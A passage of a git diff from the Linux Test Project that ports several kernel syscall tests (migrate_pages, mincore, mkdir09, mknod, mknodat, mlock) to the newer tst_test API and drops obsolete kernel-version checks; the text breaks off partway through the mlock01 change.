b/testcases/kernel/syscalls/migrate_pages/migrate_pages02.c index 485a1c5a..780aae1b 100755 --- a/testcases/kernel/syscalls/migrate_pages/migrate_pages02.c +++ b/testcases/kernel/syscalls/migrate_pages/migrate_pages02.c @@ -273,10 +273,6 @@ static void setup(void) if (num_nodes < 2) tst_brk(TCONF, "at least 2 allowed NUMA nodes" " are required"); - else if (tst_kvercmp(2, 6, 18) < 0) - tst_brk(TCONF, "2.6.18 or greater kernel required"); - - FILE_PRINTF("/proc/sys/kernel/numa_balancing", "0"); /* * find 2 nodes, which can hold NODE_MIN_FREEMEM bytes * The reason is that: @@ -327,9 +323,10 @@ static struct tst_test test = { .forks_child = 1, .test_all = run, .setup = setup, - .save_restore = (const char * const[]) { - "?/proc/sys/kernel/numa_balancing", - NULL, + .save_restore = (const struct tst_path_val[]) { + {"/proc/sys/kernel/numa_balancing", "0", + TST_SR_SKIP_MISSING | TST_SR_TCONF_RO}, + {} }, }; #else diff --git a/testcases/kernel/syscalls/migrate_pages/migrate_pages03.c b/testcases/kernel/syscalls/migrate_pages/migrate_pages03.c index c6afb4cc..4d3299b6 100755 --- a/testcases/kernel/syscalls/migrate_pages/migrate_pages03.c +++ b/testcases/kernel/syscalls/migrate_pages/migrate_pages03.c @@ -127,6 +127,11 @@ static void migrate_test(void) tst_res(TFAIL | TERRNO, "migrate_pages() failed"); return; } + + if (!tst_remaining_runtime()) { + tst_res(TINFO, "Out of runtime, exiting..."); + break; + } } SAFE_SETEUID(0); @@ -134,7 +139,7 @@ static void migrate_test(void) } static struct tst_test test = { - .min_kver = "2.6.32", + .max_runtime = 300, .needs_root = 1, .setup = setup, .cleanup = cleanup, diff --git a/testcases/kernel/syscalls/mincore/mincore01.c b/testcases/kernel/syscalls/mincore/mincore01.c index 1632c72a..03ec3b4e 100755 --- a/testcases/kernel/syscalls/mincore/mincore01.c +++ b/testcases/kernel/syscalls/mincore/mincore01.c @@ -145,12 +145,6 @@ static void setup4(struct test_case_t *tc) tc->addr = global_pointer; tc->len = as_lim.rlim_cur - (rlim_t)global_pointer + pagesize; tc->vector = global_vec; - - /* - * In linux 2.6.11 and earlier, EINVAL was returned for this condition. - */ - if (tst_kvercmp(2, 6, 11) <= 0) - tc->exp_errno = EINVAL; } static void setup(void) @@ -175,7 +169,7 @@ static void setup(void) fd = SAFE_OPEN(cleanup, "mincore01", O_CREAT | O_RDWR, S_IRUSR | S_IWUSR); - SAFE_WRITE(cleanup, 1, fd, buf, global_len); + SAFE_WRITE(cleanup, SAFE_WRITE_ALL, fd, buf, global_len); free(buf); diff --git a/testcases/kernel/syscalls/mkdir/Makefile b/testcases/kernel/syscalls/mkdir/Makefile index 044619fb..881b087c 100755 --- a/testcases/kernel/syscalls/mkdir/Makefile +++ b/testcases/kernel/syscalls/mkdir/Makefile @@ -3,6 +3,8 @@ top_srcdir ?= ../../../.. +mkdir09: CFLAGS += -pthread + include $(top_srcdir)/include/mk/testcases.mk include $(top_srcdir)/include/mk/generic_leaf_target.mk diff --git a/testcases/kernel/syscalls/mkdir/mkdir09.c b/testcases/kernel/syscalls/mkdir/mkdir09.c index 88034d29..44a2348b 100755 --- a/testcases/kernel/syscalls/mkdir/mkdir09.c +++ b/testcases/kernel/syscalls/mkdir/mkdir09.c @@ -1,460 +1,145 @@ +// SPDX-License-Identifier: GPL-2.0-or-later /* - * - * Copyright (c) International Business Machines Corp., 2002 - * - * This program is free software; you can redistribute it and/or modify - * it under the terms of the GNU General Public License as published by - * the Free Software Foundation; either version 2 of the License, or - * (at your option) any later version. - * - * This program is distributed in the hope that it will be useful, - * but WITHOUT ANY WARRANTY; without even the implied warranty of - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See - * the GNU General Public License for more details. - * - * You should have received a copy of the GNU General Public License - * along with this program; if not, write to the Free Software - * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA + * Copyright (c) International Business Machines Corp., 2001 + * Copyright (c) Linux Test Project, 2022 */ -/* 06/30/2001 Port to Linux nsharoff@us.ibm.com */ -/* 10/30/2002 Port to LTP dbarrera@us.ibm.com */ - -/* - * Stress test of mkdir call. - * - * ALGORITHM - * Create multiple processes which create subdirectories in the - * same directory multiple times. On exit of all child processes, - * make sure all subdirectories can be removed. - * - * USAGE: mkdir09 -c # -t # -d # - * -c = number of children groups - * -t = number of seconds to run test - * -d = number of directories created in test directory +/*\ + * [Description] * + * Create multiple processes which create subdirectories in the + * same directory multiple times within test time. */ #include -#include -#include #include -#include -#include -#include -#include -#include -#include -#include "test.h" - -#include -#include -#include - -#define NCHILD 3 +#include "tst_test.h" +#include "tst_safe_pthread.h" +#define MNTPOINT "mntpoint" #define MODE_RWX 07770 -#define DIR_NAME "./X.%d" - -char *TCID = "mkdir09"; -int TST_TOTAL = 1; - -char testdir[MAXPATHLEN]; -int parent_pid, sigchld, sigterm, jump; -void term(int sig); -void chld(int sig); -int *pidlist, child_count; -jmp_buf env_buf; - -int getchild(int group, int child, int children); -int dochild1(void); -int dochild2(void); -int dochild3(int group); -int massmurder(void); -int runtest(void); -void setup(void); -void cleanup(void); +#define DIR_NAME MNTPOINT "/X.%d" +#define DIR_NAME_GROUP MNTPOINT "/X.%d.%d" +#define NCHILD 3 static int child_groups = 2; -static int test_time = 5; -static int nfiles = 5; - -static char *opt_child_groups; -static char *opt_test_time; -static char *opt_nfiles; - -static option_t options[] = { - {"c:", NULL, &opt_child_groups}, - {"t:", NULL, &opt_test_time}, - {"d:", NULL, &opt_nfiles}, - {NULL, NULL, NULL} -}; - -static void usage(void) -{ - printf(" -c Child groups\n"); - printf(" -t Test runtime\n"); - printf(" -d Directories\n"); -} - -int main(int argc, char *argv[]) -{ - tst_parse_opts(argc, argv, options, usage); - - if (opt_child_groups) - child_groups = atoi(opt_child_groups); - - if (opt_test_time) - test_time = atoi(opt_test_time); - - if (opt_nfiles) - nfiles = atoi(opt_nfiles); - - setup(); - - if (signal(SIGTERM, term) == SIG_ERR) { - tst_brkm(TFAIL, cleanup, - "Error setting up SIGTERM signal, ERRNO = %d", errno); - - } - - if (signal(SIGCHLD, chld) == SIG_ERR) { - tst_brkm(TFAIL, cleanup, - "Error setting up SIGCHLD signal, ERRNO = %d", errno); - - } - - runtest(); - cleanup(); - tst_exit(); -} - -int runtest(void) -{ - int i, j; - int count, child, status; - char tmpdir[MAXPATHLEN]; - - /* Create permanent directories with holes in directory structure */ - - for (j = 0; j < nfiles; j++) { - sprintf(tmpdir, DIR_NAME, j); - TEST(mkdir(tmpdir, MODE_RWX)); - - if (TEST_RETURN < 0) { - tst_brkm(TFAIL, cleanup, - "Error creating permanent directories, ERRNO = %d", - TEST_ERRNO); - } - if ((j % NCHILD) != 0) { - if (rmdir(tmpdir) < 0) { - tst_brkm(TFAIL, cleanup, - "Error removing directory, ERRNO = %d", - errno); - } - } - } - - parent_pid = getpid(); - - /* allocate space for list of child pid's */ - - if ((pidlist = malloc((child_groups * NCHILD) * sizeof(int))) == - NULL) { - tst_brkm(TWARN, NULL, - "\tMalloc failed (may be OK if under stress)"); - } - - child_count = 0; - for (j = 0; j < child_groups; j++) { - for (i = 0; i < NCHILD; i++) { - getchild(j, i, child_count); - child_count++; - } - } - - /* If signal already received, skip to cleanup */ - - if (!sigchld && !sigterm) { - if (test_time) { - /* To get out of sleep if signal caught */ - if (!setjmp(env_buf)) { - jump++; - sleep(test_time); - } - } else { - pause(); - } - } - - /* Reset signals since we are about to clean-up and to avoid - * problem with wait call * $ - * */ - - if (signal(SIGTERM, SIG_IGN) == SIG_ERR) { - tst_brkm(TFAIL, cleanup, - "Error resetting SIGTERM signal, ERRNO = %d", errno); - } - if (signal(SIGCHLD, SIG_DFL) == SIG_ERR) { - tst_brkm(TFAIL, cleanup, - "Error resetting SIGCHLD signal, ERRNO = %d", errno); - } - - if (test_time) { - sleep(test_time); - } - - /* Clean up children */ - massmurder(); - /* - * Watch children finish and show returns. - */ - - count = 0; - while (1) { - if ((child = wait(&status)) > 0) { - if (status != 0) { - tst_brkm(TWARN, - NULL, - "\tChild{%d} exited status = %0x", - child, status); - } - count++; - } else { - if (errno != EINTR) { - break; - } - tst_resm(TINFO, "\tSignal detected during wait"); - } - } +static int test_time = 1; +static int nfiles = 10; +static volatile int done; - /* - * Make sure correct number of children exited. - */ - - if (count != child_count) { - tst_resm(TWARN, "\tWrong number of children waited on!"); - tst_brkm(TWARN, NULL, "\tSaw %d, expected %d", count, - NCHILD); - } - - /* Check for core file in test directory. */ - - if (access("core", 0) == 0) { - tst_brkm(TWARN, NULL, "\tCore file found in test directory."); - } - - /* Remove expected files */ - - for (j = 0; j < nfiles; j += NCHILD) { - sprintf(tmpdir, DIR_NAME, j); - if (rmdir(tmpdir) < 0) { - tst_brkm(TWARN, - NULL, - "\tError removing expected directory, ERRNO = %d", - errno); - } - } - - tst_resm(TPASS, "PASS"); - - return 0; -} - -int getchild(int group, int child, int children) -{ - int pid; - - pid = FORK_OR_VFORK(); - - if (pid < 0) { - - massmurder(); /* kill the kids */ - tst_brkm(TBROK, cleanup, - "\tFork failed (may be OK if under stress)"); - } else if (pid == 0) { /* child does this */ - switch (children % NCHILD) { - case 0: - dochild1(); /* create existing directories */ - break; /* so lint won't complain */ - case 1: - dochild2(); /* remove nonexistant directories */ - break; - case 2: - dochild3(group); /* create/delete directories */ - break; - default: - tst_brkm(TFAIL, cleanup, - "Test not inplemented for child %d", child); - exit(1); - break; - } - exit(1); /* If child gets here, something wrong */ - } - pidlist[children] = pid; - return 0; -} - -void term(int sig) -{ - /* Routine to handle SIGTERM signal. */ - - if (parent_pid == getpid()) { - tst_brkm(TWARN, NULL, "\tsignal SIGTERM received by parent."); - } - sigterm++; - if (jump) { - longjmp(env_buf, 1); - } -} - -void chld(int sig) -{ - /* Routine to handle SIGCHLD signal. */ - - sigchld++; - if (jump) { - longjmp(env_buf, 1); - } -} - -int dochild1(void) +/* + * Routine which attempts to create directories in the test + * directory that already exist. + */ +static void test1(int child_num) { - /* Child routine which attempts to create directories in the test - * directory that already exist. Runs until a SIGTERM signal is - * received. Will exit with an error if it is able to create the - * directory or if the expected error is not received. - */ - int j; char tmpdir[MAXPATHLEN]; - while (!sigterm) { + while (!done) { for (j = 0; j < nfiles; j += NCHILD) { sprintf(tmpdir, DIR_NAME, j); - TEST(mkdir(tmpdir, MODE_RWX)); - - if (TEST_RETURN < 0) { - - if (TEST_ERRNO != EEXIST) { - tst_brkm(TFAIL, cleanup, - "MKDIR %s, errno = %d; Wrong error detected.", - tmpdir, TEST_ERRNO); - exit(1); - } - } else { - tst_brkm(TFAIL, cleanup, - "MKDIR %s succeded when it shoud have failed.", - tmpdir); - exit(1); - } + TST_EXP_FAIL_SILENT(mkdir(tmpdir, MODE_RWX), EEXIST); + if (!TST_PASS) + break; } } - exit(0); + tst_res(TPASS, "[%d] create dirs that already exist", child_num); } -int dochild2(void) +/* + * Child routine which attempts to remove directories from the + * test directory which do not exist. + */ +static void test2(int child_num) { - /* Child routine which attempts to remove directories from the - * test directory which do not exist. Runs until a SIGTERM - * signal is received. Exits with an error if the proper - * error is not detected or if the remove operation is - * successful. - */ - int j; char tmpdir[MAXPATHLEN]; - while (!sigterm) { + while (!done) { for (j = 1; j < nfiles; j += NCHILD) { sprintf(tmpdir, DIR_NAME, j); - if (rmdir(tmpdir) < 0) { - if (errno != ENOENT) { - tst_brkm(TFAIL, cleanup, - "RMDIR %s, errno = %d; Wrong error detected.", - tmpdir, errno); - exit(1); - } - } else { - tst_brkm(TFAIL, cleanup, - "RMDIR %s succeded when it should have failed.", - tmpdir); - exit(1); - } + TST_EXP_FAIL_SILENT(rmdir(tmpdir), ENOENT); + if (!TST_PASS) + break; } } - exit(0); - return 0; + tst_res(TPASS, "[%d] remove dirs that do not exist", child_num); } -int dochild3(int group) +/* + * Child routine which creates and deletes directories in the + * test directory. + */ +static void test3(int child_num) { - /* Child routine which creates and deletes directories in the - * test directory. Runs until a SIGTERM signal is received, then - * cleans up and exits. Detects error if the expected condition - * is not encountered. - */ - int j; - char tmpdir[MAXPATHLEN]; - char tmp[MAXPATHLEN]; - while (!sigterm) { + while (!done) { for (j = 2; j < nfiles; j += NCHILD) { - strcpy(tmp, DIR_NAME); - strcat(tmp, ".%d"); - sprintf(tmpdir, tmp, j, group); - - TEST(mkdir(tmpdir, MODE_RWX)); - - if (TEST_RETURN < 0) { - tst_brkm(TFAIL, cleanup, - "MKDIR %s, errno = %d; Wrong error detected.", - tmpdir, TEST_ERRNO); - exit(1); - } + sprintf(tmpdir, DIR_NAME_GROUP, j, child_num / NCHILD); + TST_EXP_PASS_SILENT(mkdir(tmpdir, MODE_RWX)); + if (!TST_PASS) + break; } for (j = 2; j < nfiles; j += NCHILD) { - strcpy(tmp, DIR_NAME); - strcat(tmp, ".%d"); - sprintf(tmpdir, tmp, j, group); - if (rmdir(tmpdir) < 0) { - tst_brkm(TFAIL, cleanup, - "RMDIR %s, errno = %d; Wrong error detected.", - tmpdir, errno); - exit(1); - } + sprintf(tmpdir, DIR_NAME_GROUP, j, child_num / NCHILD); + TST_EXP_PASS_SILENT(rmdir(tmpdir)); + if (!TST_PASS) + break; } } - exit(0); + tst_res(TPASS, "[%d] create/remove dirs", child_num); } -int massmurder(void) +static void *child_thread_func(void *arg) { - register int j; - for (j = 0; j < child_count; j++) { - if (pidlist[j] > 0) { - if (kill(pidlist[j], SIGTERM) < 0) { - tst_brkm(TFAIL, cleanup, - "Error killing child %d, ERRNO = %d", - j, errno); - } - } - } - return 0; + void (*tests[NCHILD])(int) = { test1, test2, test3 }; + int child_num = (long)arg; + + tests[child_num % NCHILD](child_num); + + /* if any thread failed, make other finish as well */ + done = 1; + + return NULL; } -void setup(void) +static void verify_mkdir(void) { - tst_sig(NOFORK, DEF_HANDLER, cleanup); + pthread_t child_thread[NCHILD * child_groups]; + long i; + + done = 0; + for (i = 0; i < child_groups * NCHILD; i++) { + SAFE_PTHREAD_CREATE(&child_thread[i], NULL, + child_thread_func, (void *)i); + } - TEST_PAUSE; + sleep(test_time); + done = 1; - tst_tmpdir(); + for (i = 0; i < child_groups * NCHILD; i++) + SAFE_PTHREAD_JOIN(child_thread[i], NULL); } -void cleanup(void) +static void setup(void) { - tst_rmdir(); + int j; + char tmpdir[MAXPATHLEN]; + + for (j = 0; j < nfiles; j += NCHILD) { + sprintf(tmpdir, DIR_NAME, j); + SAFE_MKDIR(tmpdir, MODE_RWX); + } } + +static struct tst_test test = { + .test_all = verify_mkdir, + .needs_root = 1, + .setup = setup, + .mount_device = 1, + .mntpoint = MNTPOINT, + .all_filesystems = 1, +}; diff --git a/testcases/kernel/syscalls/mknod/mknod01.c b/testcases/kernel/syscalls/mknod/mknod01.c index f79e5fa4..7a4d5b43 100755 --- a/testcases/kernel/syscalls/mknod/mknod01.c +++ b/testcases/kernel/syscalls/mknod/mknod01.c @@ -1,123 +1,50 @@ +// SPDX-License-Identifier: GPL-2.0 /* * Copyright (c) 2000 Silicon Graphics, Inc. All Rights Reserved. - * AUTHOR : William Roske - * CO-PILOT : Dave Fenner - * - * This program is free software; you can redistribute it and/or modify it - * under the terms of version 2 of the GNU General Public License as - * published by the Free Software Foundation. - * - * This program is distributed in the hope that it would be useful, but - * WITHOUT ANY WARRANTY; without even the implied warranty of - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. - * - * Further, this software is distributed without any warranty that it is - * free of the rightful claim of any third person regarding infringement - * or the like. Any license provided herein, whether implied or - * otherwise, applies only to this software file. Patent licenses, if - * any, provided herein do not apply to combinations of this program with - * other software, or any other product whatsoever. - * - * You should have received a copy of the GNU General Public License along - * with this program; if not, write the Free Software Foundation, Inc., - * 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA. - * - * Contact information: Silicon Graphics, Inc., 1600 Amphitheatre Pkwy, - * Mountain View, CA 94043, or: - * - * http://www.sgi.com - * - * For further information regarding this notice, see: - * - * http://oss.sgi.com/projects/GenInfo/NoticeExplan/ + * AUTHOR: William Roske, CO-PILOT: Dave Fenner + * Copyright (c) 2023 SUSE LLC Avinesh Kumar + */ + +/*\ + * [Description] * + * Verify that mknod(2) successfully creates a filesystem node with + * various modes. */ -#include -#include -#include -#include -#include -#include #include - -#include "test.h" -#include "safe_macros.h" - -static void setup(void); -static void cleanup(void); - -char *TCID = "mknod01"; +#include "tst_test.h" #define PATH "test_node" -int tcases[] = { /* modes to give nodes created (1 per text case) */ - S_IFREG | 0777, /* ordinary file with mode 0777 */ - S_IFIFO | 0777, /* fifo special with mode 0777 */ - S_IFCHR | 0777, /* character special with mode 0777 */ - S_IFBLK | 0777, /* block special with mode 0777 */ +static int tcases[] = { + S_IFREG | 0777, + S_IFIFO | 0777, + S_IFCHR | 0777, + S_IFBLK | 0777, - S_IFREG | 04700, /* ordinary file with mode 04700 (suid) */ - S_IFREG | 02700, /* ordinary file with mode 02700 (sgid) */ - S_IFREG | 06700, /* ordinary file with mode 06700 (sgid & suid) */ + S_IFREG | 04700, + S_IFREG | 02700, + S_IFREG | 06700, }; -int TST_TOTAL = ARRAY_SIZE(tcases); -int main(int ac, char **av) +static void run(unsigned int i) { - int lc, i; - dev_t dev; - - tst_parse_opts(ac, av, NULL, NULL); + dev_t dev = 0; - setup(); + if (S_ISCHR(tcases[i]) || S_ISBLK(tcases[i])) + dev = makedev(1, 3); - for (lc = 0; TEST_LOOPING(lc); lc++) { - tst_count = 0; - - for (i = 0; i < TST_TOTAL; i++) { - /* - * overlayfs doesn't support mknod char device with - * major 0 and minor 0, which is known as whiteout_dev - */ - if (S_ISCHR(tcases[i])) - dev = makedev(1, 3); - else - dev = 0; - TEST(mknod(PATH, tcases[i], dev)); - - if (TEST_RETURN == -1) { - tst_resm(TFAIL, - "mknod(%s, %#o, %lu) failed, errno=%d : %s", - PATH, tcases[i], dev, TEST_ERRNO, - strerror(TEST_ERRNO)); - } else { - tst_resm(TPASS, - "mknod(%s, %#o, %lu) returned %ld", - PATH, tcases[i], dev, TEST_RETURN); - } - - SAFE_UNLINK(cleanup, PATH); - } - - } - - cleanup(); - tst_exit(); + TST_EXP_PASS(mknod(PATH, tcases[i], dev), + "mknod(PATH, %o, %ld)", + tcases[i], dev); + SAFE_UNLINK(PATH); } -void setup(void) -{ - tst_require_root(); - tst_sig(NOFORK, DEF_HANDLER, cleanup); - - TEST_PAUSE; - - tst_tmpdir(); -} - -void cleanup(void) -{ - tst_rmdir(); -} +static struct tst_test test = { + .test = run, + .tcnt = ARRAY_SIZE(tcases), + .needs_root = 1, + .needs_tmpdir = 1 +}; diff --git a/testcases/kernel/syscalls/mknod/mknod02.c b/testcases/kernel/syscalls/mknod/mknod02.c index 594473e2..b1885fed 100755 --- a/testcases/kernel/syscalls/mknod/mknod02.c +++ b/testcases/kernel/syscalls/mknod/mknod02.c @@ -1,301 +1,57 @@ +// SPDX-License-Identifier: GPL-2.0-or-later /* - * * Copyright (c) International Business Machines Corp., 2001 - * - * This program is free software; you can redistribute it and/or modify - * it under the terms of the GNU General Public License as published by - * the Free Software Foundation; either version 2 of the License, or - * (at your option) any later version. - * - * This program is distributed in the hope that it will be useful, - * but WITHOUT ANY WARRANTY; without even the implied warranty of - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See - * the GNU General Public License for more details. - * - * You should have received a copy of the GNU General Public License - * along with this program; if not, write to the Free Software - * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA + * 07/2001 Ported by Wayne Boyer + * Copyright (c) 2023 SUSE LLC Avinesh Kumar */ -/* - * Test Name: mknod02 - * - * Test Description: - * Verify that mknod(2) succeeds when used to create a filesystem - * node with set group-ID bit set on a directory without set group-ID bit set. - * The node created should have set group-ID bit set and its gid should be - * equal to that of its parent directory. - * - * Expected Result: - * mknod() should return value 0 on success and node created should have - * set group-ID bit set, its gid should be equal to that of its parent - * directory. - * - * Algorithm: - * Setup: - * Setup signal handling. - * Create temporary directory. - * Pause for SIGUSR1 if option specified. - * - * Test: - * Loop if the proper options are given. - * Execute system call - * Check return code, if system call failed (return=-1) - * Log the errno and Issue a FAIL message. - * Otherwise, - * Verify the Functionality of system call - * if successful, - * Issue Functionality-Pass message. - * Otherwise, - * Issue Functionality-Fail message. - * Cleanup: - * Print errno log and/or timing stats if options given - * Delete the temporary directory created. - * - * Usage: - * mknod02 [-c n] [-f] [-i n] [-I x] [-P x] [-t] - * where, -c n : Run n copies concurrently. - * -f : Turn off functionality Testing. - * -i n : Execute test n times. - * -I x : Execute test for x seconds. - * -P x : Pause for x seconds between iterations. - * -t : Turn on syscall timing. - * - * HISTORY - * 07/2001 Ported by Wayne Boyer - * - * RESTRICTIONS: - * This test should be run by 'super-user' (root) only. +/*\ + * [Description] * + * Verify that if mknod(2) creates a filesystem node in a directory which + * does not have the set-group-ID bit set, new node will not inherit the + * group ownership from its parent directory and its group ID will be the + * effective group ID of the process. */ -#include -#include -#include -#include -#include -#include #include -#include -#include - -#include "test.h" -#include "safe_macros.h" +#include "tst_test.h" -#define LTPUSER "nobody" -#define MODE_RWX S_IFIFO | S_IRWXU | S_IRWXG | S_IRWXO -#define MODE_SGID S_IFIFO | S_ISGID | S_IRWXU | S_IRWXG | S_IRWXO -#define DIR_TEMP "testdir_2" -#define TNODE "tnode_%d" +#define MODE_DIR 0777 +#define MODE1 0010777 +#define MODE_SGID 02000 -struct stat buf; /* struct. to hold stat(2) o/p contents */ -struct passwd *user1; /* struct. to hold getpwnam(3) o/p contents */ +#define TEMP_DIR "testdir" +#define TEMP_NODE "testnode" -char *TCID = "mknod02"; -int TST_TOTAL = 1; -char node_name[PATH_MAX]; /* buffer to hold node name created */ +static struct stat buf; +static struct passwd *user_nobody; +static gid_t gid_nobody; -gid_t group1_gid, group2_gid, mygid; /* user and process group id's */ -uid_t save_myuid, user1_uid; /* user and process user id's */ -pid_t mypid; /* process id */ - -void setup(); /* setup function for the test */ -void cleanup(); /* cleanup function for the test */ - -int main(int ac, char **av) +static void setup(void) { - int lc; - int fflag; - - tst_parse_opts(ac, av, NULL, NULL); - - setup(); - - for (lc = 0; TEST_LOOPING(lc); lc++) { - - tst_count = 0; - - /* - * Attempt to create a filesystem node with group-id bit set - * on a directory without group id bit set such that, - * the node created by mknod(2) should have group-id (sgid) - * bit set and node's gid should be equal to that of its - * parent directory. - */ - TEST(mknod(node_name, MODE_SGID, 0)); - - /* Check return code from mknod(2) */ - if (TEST_RETURN == -1) { - tst_resm(TFAIL, - "mknod(%s, %#o, 0) failed, errno=%d : %s", - node_name, MODE_SGID, TEST_ERRNO, - strerror(TEST_ERRNO)); - continue; - } - /* Set the functionality flag */ - fflag = 1; - - /* Check for node's creation */ - if (stat(node_name, &buf) < 0) { - tst_resm(TFAIL, "stat() of %s failed, errno:%d", - node_name, TEST_ERRNO); - - /* unset functionality flag */ - fflag = 0; - } - - /* Verify mode permissions of node */ - if (!(buf.st_mode & S_ISGID)) { - tst_resm(TFAIL, "%s: Incorrect modes, setgid " - "bit not set", node_name); - /* unset flag as functionality fails */ - fflag = 0; - } - - /* Verify group ID of node */ - if (buf.st_gid != mygid) { - tst_resm(TFAIL, "%s: Incorrect group", - node_name); - /* unset flag as functionality fails */ - fflag = 0; - } - if (fflag) { - tst_resm(TPASS, "Functionality of mknod(%s, " - "%#o, 0) successful", - node_name, MODE_SGID); - } - - /* Remove the node for the next go `round */ - if (unlink(node_name) == -1) { - tst_resm(TWARN, "unlink(%s) failed, errno:%d %s", - node_name, errno, strerror(errno)); - } - } + user_nobody = SAFE_GETPWNAM("nobody"); + gid_nobody = user_nobody->pw_gid; - /* Change the directory back to temporary directory */ - SAFE_CHDIR(cleanup, ".."); - - /* - * Invoke cleanup() to delete the test directories created - * in the setup() and exit main(). - */ - cleanup(); - - tst_exit(); + SAFE_MKDIR(TEMP_DIR, MODE_DIR); + SAFE_CHOWN(TEMP_DIR, -1, gid_nobody); } -/* - * setup(void) - performs all ONE TIME setup for this test. - * Exit the test program on receipt of unexpected signals. - * Create a temporary directory used to hold test directories created - * and change the directory to it. - * Verify that pid of process executing the test is root. - * Create a test directory on temporary directory and set the ownership - * of test directory to ltp user and process. - * Set the effective uid/gid of the process to that of ltp user. - */ -void setup(void) +static void run(void) { - tst_require_root(); - - /* Capture unexpected signals */ - tst_sig(NOFORK, DEF_HANDLER, cleanup); - - TEST_PAUSE; - - /* Make a temp dir and cd to it */ - tst_tmpdir(); - - /* fix permissions on the tmpdir */ - if (chmod(".", 0711) != 0) { - tst_brkm(TBROK, cleanup, "chmod() failed"); - } - - /* Save the real user id of the current test process */ - save_myuid = getuid(); - - /* Save the process id of the current test process */ - mypid = getpid(); - - /* Get the node name to be created in the test */ - sprintf(node_name, TNODE, mypid); - - /* Get the uid/gid of ltpuser */ - if ((user1 = getpwnam(LTPUSER)) == NULL) { - tst_brkm(TBROK | TERRNO, cleanup, - "Couldn't determine if %s was in /etc/passwd", - LTPUSER); - } - user1_uid = user1->pw_uid; - group1_gid = user1->pw_gid; - - /* Get the effective group id of the test process */ - group2_gid = getegid(); + SAFE_CHDIR(TEMP_DIR); + TST_EXP_PASS(mknod(TEMP_NODE, MODE1, 0), "mknod(%s, %o, 0)", TEMP_NODE, MODE1); - /* - * Create a test directory under temporary directory with the - * specified mode permissions, with uid/gid set to that of guest - * user and the test process. - */ - SAFE_MKDIR(cleanup, DIR_TEMP, MODE_RWX); - SAFE_CHOWN(cleanup, DIR_TEMP, user1_uid, group2_gid); + SAFE_STAT(TEMP_NODE, &buf); + TST_EXP_EQ_LI(buf.st_gid, 0); - /* - * Verify that test directory created with expected permission modes - * and ownerships. - */ - SAFE_STAT(cleanup, DIR_TEMP, &buf); - - /* Verify modes of test directory */ - if (buf.st_mode & S_ISGID) { - tst_brkm(TBROK, cleanup, - "%s: Incorrect modes, setgid bit set", DIR_TEMP); - } - - /* Verify group ID of test directory */ - if (buf.st_gid != group2_gid) { - tst_brkm(TBROK, cleanup, "%s: Incorrect group", DIR_TEMP); - } - - /* - * Set the effective group id and user id of the test process - * to that of guest user. - */ - SAFE_SETGID(cleanup, group1_gid); - if (setreuid(-1, user1_uid) < 0) { - tst_brkm(TBROK, cleanup, - "Unable to set process uid to that of ltp user"); - } - - /* Save the real group ID of the current process */ - mygid = getgid(); - - /* Change directory to DIR_TEMP */ - SAFE_CHDIR(cleanup, DIR_TEMP); + SAFE_UNLINK(TEMP_NODE); + SAFE_CHDIR(".."); } -/* - * cleanup() - Performs all ONE TIME cleanup for this test at - * completion or premature exit. - * Print test timing stats and errno log if test executed with options. - * Restore the real/effective user id of the process changed during - * setup(). - * Remove temporary directory and sub-directories/files under it - * created during setup(). - * Exit the test program with normal exit code. - */ -void cleanup(void) -{ - - /* - * Restore the effective uid of the process changed in the - * setup(). - */ - if (setreuid(-1, save_myuid) < 0) { - tst_brkm(TBROK, NULL, - "resetting process real/effective uid failed"); - } - - tst_rmdir(); - -} +static struct tst_test test = { + .setup = setup, + .test_all = run, + .needs_root = 1, + .needs_tmpdir = 1 +}; diff --git a/testcases/kernel/syscalls/mknodat/mknodat.h b/testcases/kernel/syscalls/mknodat/mknodat.h index b4e828c5..8f3a1f00 100755 --- a/testcases/kernel/syscalls/mknodat/mknodat.h +++ b/testcases/kernel/syscalls/mknodat/mknodat.h @@ -28,7 +28,7 @@ #if !defined(HAVE_MKNODAT) int mknodat(int dirfd, const char *filename, mode_t mode, dev_t dev) { - return ltp_syscall(__NR_mknodat, dirfd, filename, mode, dev); + return tst_syscall(__NR_mknodat, dirfd, filename, mode, dev); } #endif diff --git a/testcases/kernel/syscalls/mknodat/mknodat01.c b/testcases/kernel/syscalls/mknodat/mknodat01.c index bff2c6a4..6500ca36 100755 --- a/testcases/kernel/syscalls/mknodat/mknodat01.c +++ b/testcases/kernel/syscalls/mknodat/mknodat01.c @@ -118,9 +118,6 @@ static void setup(void) { char *tmpdir; - if (tst_kvercmp(2, 6, 16) < 0) - tst_brkm(TCONF, NULL, "This test needs kernel 2.6.16 or newer"); - tst_sig(NOFORK, DEF_HANDLER, cleanup); TEST_PAUSE; diff --git a/testcases/kernel/syscalls/mknodat/mknodat02.c b/testcases/kernel/syscalls/mknodat/mknodat02.c index 7e6afda9..eda247fd 100755 --- a/testcases/kernel/syscalls/mknodat/mknodat02.c +++ b/testcases/kernel/syscalls/mknodat/mknodat02.c @@ -105,11 +105,6 @@ static void setup(void) int i; const char *fs_type; - if (tst_kvercmp(2, 6, 16) < 0) { - tst_brkm(TCONF, NULL, "This test can only run on kernels " - "that are 2.6.16 and higher"); - } - tst_require_root(); tst_sig(NOFORK, DEF_HANDLER, cleanup); @@ -163,7 +158,7 @@ static void mknodat_verify(struct test_case_t *tc) } if (TEST_ERRNO == 0 && - ltp_syscall(__NR_unlinkat, fd, pathname, 0) < 0) { + tst_syscall(__NR_unlinkat, fd, pathname, 0) < 0) { tst_brkm(TBROK | TERRNO, cleanup, "unlinkat(%d, %s) " "failed.", fd, pathname); } diff --git a/testcases/kernel/syscalls/mlock/mlock01.c b/testcases/kernel/syscalls/mlock/mlock01.c index 2338d4d5..0b079f8b 100755 --- a/testcases/kernel/syscalls/mlock/mlock01.c +++ b/testcases/kernel/syscalls/mlock/mlock01.c @@ -1,145 +1,52 @@ +// SPDX-License-Identifier: GPL-2.0-or-later /* - * - * Copyright (c) International Business Machines Corp., 2002 - * - * This program is free software; you can redistribute it and/or modify - * it under the terms of the GNU General Public License as published by - * the Free Software Foundation; either version 2 of the License, or - * (at your option) any later version. - * - * This program is distributed in the hope that it will be useful, - * but WITHOUT ANY WARRANTY; without even the implied warranty of - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See - * the 